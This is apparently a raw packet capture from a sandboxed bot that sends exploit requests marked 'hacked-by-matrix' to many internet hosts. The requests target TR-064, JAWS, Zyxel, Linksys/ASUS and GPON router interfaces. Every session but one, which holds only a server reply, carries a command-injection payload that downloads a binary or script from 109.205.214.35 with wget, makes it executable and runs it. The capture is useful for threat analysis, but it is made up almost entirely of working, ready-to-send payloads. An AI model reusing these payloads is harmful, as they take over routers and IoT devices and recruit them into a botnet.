Mar 21, 2024 05:26:29.620752096 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:26:29 GMT Date: Thu, 21 Mar 2024 04:26:29 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 35 33 36 31 36 30 32 26 23 34 36 3b 31 37 31 30 39 39 35 31 38 39 26 23 34 36 3b 31 30 65 31 66 63 37 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.c5361602.1710995189.10e1fc77</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.23	56774	74.73.120.108	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:29.375617981 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:29.687506914 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.23	43868	20.37.141.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:29.416318893 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:30.129807949 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.23	45486	206.233.133.181	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:29.522720098 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:29.926054001 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:30.251306057 CET	924	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:26:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 36 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 6d 6f 64 5f 66 63 67 69 64 2f 32 2e 33 2e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:26:30 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.23	54572	213.32.50.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:29.692502022 CET	132	IN	HTTP/1.1 406 Not Acceptable Server: SuperSonic 1.1 Content-Type: text/html Content-Length: 242 Connection: close
Mar 21, 2024 05:26:29.692514896 CET	254	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 36 20 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 36 20 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 3c 2f Data Ascii: <html><head><title>406 Not Acceptable</title></head><body><h1>406 Not Acceptable</h1><p>An appropriate representation of the requested resource could not be found on this server.</p><hr><address>SuperSonic 1.1 (Debian)</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.23	39096	99.235.13.184	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:30.411890030 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:30.793734074 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.23	56778	74.73.120.108	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:30.489202023 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.23	34974	131.148.74.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:30.585683107 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.23	34514	172.67.121.99	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:30.630525112 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.23	45334	172.233.155.253	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:30.698132038 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.23	51256	172.65.210.0	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:31.275446892 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.23	46964	79.110.225.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:31.275804996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.23	56934	37.83.173.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:31.275830030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.23	51244	5.129.197.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:31.275886059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.23	36100	210.174.149.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:31.275886059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.23	32936	118.121.61.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:31.275911093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.23	50622	172.65.83.203	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:31.365124941 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.23	32790	206.0.73.60	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:32.071506977 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:32.287328959 CET	48	IN	HTTP/1.1 200 OK Connection: close
Mar 21, 2024 05:26:32.287657976 CET	1286	IN	Data Raw: 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 33 30 37 32 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e 73 3b 20 70 72 65 6c 6f 61 64 0d 0a 58 2d 46 72 61 6d 65 2d 4f Data Ascii: Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: default-src 'self'; frame-src * 'self'; img-src * 'self'; script-src ht
Mar 21, 2024 05:26:32.290479898 CET	1286	IN	Data Raw: 3c 74 69 74 6c 65 3e 54 65 6c 74 6f 6e 69 6b 61 20 4e 65 74 77 6f 72 6b 73 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 Data Ascii: <title>Teltonika Networks</title> <style> @font-face { font-family: 'Oswald'; src: url('/fonts/Oswald-Medium.woff') format('woff'); font-weight: 500; font-style: normal; } @font-face
